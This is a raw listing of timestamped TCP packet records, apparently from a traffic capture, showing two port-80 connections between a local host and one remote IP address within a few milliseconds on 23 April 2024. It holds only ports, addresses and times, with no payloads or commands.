Apr 23, 2024 08:39:58.926722050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926753044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926753044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926760912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926773071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926780939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926824093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926879883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926944017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926949024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927001953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927010059 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927037954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927155972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927167892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927171946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927212954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927264929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927304983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927324057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927372932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927385092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927405119 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927448988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927464962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927465916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927479029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927489042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927494049 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927548885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927560091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927582979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927602053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927622080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927640915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927644968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927663088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927668095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927686930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927705050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927721024 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927812099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927831888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927853107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927871943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927875042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927894115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927947044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927959919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.927974939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.927988052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928010941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928042889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928066015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928159952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928173065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928184032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928212881 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928212881 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928307056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928375006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928386927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928394079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928425074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928474903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928495884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928508997 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928747892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928817987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928839922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928877115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928894043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928915024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928931952 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928937912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928956985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.928988934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.928991079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929039001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929092884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929135084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929203987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929244995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929259062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929270983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929290056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929290056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929363012 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929394960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929414988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929457903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929461002 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929480076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929547071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929582119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929595947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929606915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929636002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929645061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929650068 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929718971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929728985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929804087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929817915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929822922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929873943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.929892063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929905891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929950953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.929970980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930042982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930058956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930090904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930103064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930107117 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930151939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930151939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930167913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930239916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930248976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930294037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930334091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930335999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930358887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930392027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930413008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930530071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930531025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930740118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930753946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930767059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930785894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930840969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930850983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.930908918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.930929899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931005001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931025982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931057930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931082010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931104898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931124926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931169033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931188107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931207895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931227922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931258917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931260109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931272984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931308031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931319952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931324959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931349039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931355953 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931361914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931371927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931395054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931406021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931412935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931428909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931444883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931459904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931478977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931509018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931528091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931541920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931670904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931704998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931716919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931726933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931727886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931746006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931802034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931822062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.931863070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.931880951 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932038069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932053089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932060003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932085991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932090998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932090998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932097912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932173014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932193041 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932256937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932269096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932270050 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932281971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932295084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932301044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932317019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932332039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932332039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932338953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932364941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932414055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932427883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932445049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932461977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932487965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932502031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932512045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932547092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932547092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932553053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932599068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932624102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932692051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932713032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932713985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932729006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932775021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932776928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932822943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932897091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932919979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.932933092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.932954073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933021069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933041096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933079958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933099031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933131933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933156013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933156967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933176994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933211088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933224916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933235884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933252096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933260918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933260918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933315992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933320999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933329105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933341980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933353901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933362007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933362007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933365107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933387041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933412075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933430910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933509111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933521032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933621883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933635950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933640003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933728933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933743000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933796883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933829069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933847904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933882952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933895111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.933897972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933940887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.933942080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934010983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934050083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934096098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934108973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934108973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934139013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934154034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934154034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934174061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934186935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934195042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934221029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934221029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934252024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934267998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934281111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934299946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934329987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934354067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934410095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934428930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934514999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934526920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934545040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934556961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934566021 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934576988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934580088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934604883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934617043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934618950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934632063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934650898 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934695959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934696913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934711933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934724092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934730053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934736967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934742928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934756041 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934796095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.934851885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934880972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.934958935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935013056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935024977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935039043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935059071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935076952 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935091972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935117006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935136080 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935170889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935437918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935451984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935481071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935494900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935502052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935513973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935555935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935575962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935612917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935626030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935631990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935645103 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935679913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935691118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935758114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935780048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935801983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935818911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935839891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935854912 CEST	80	49704	138.199.40.58	192.168.2.7
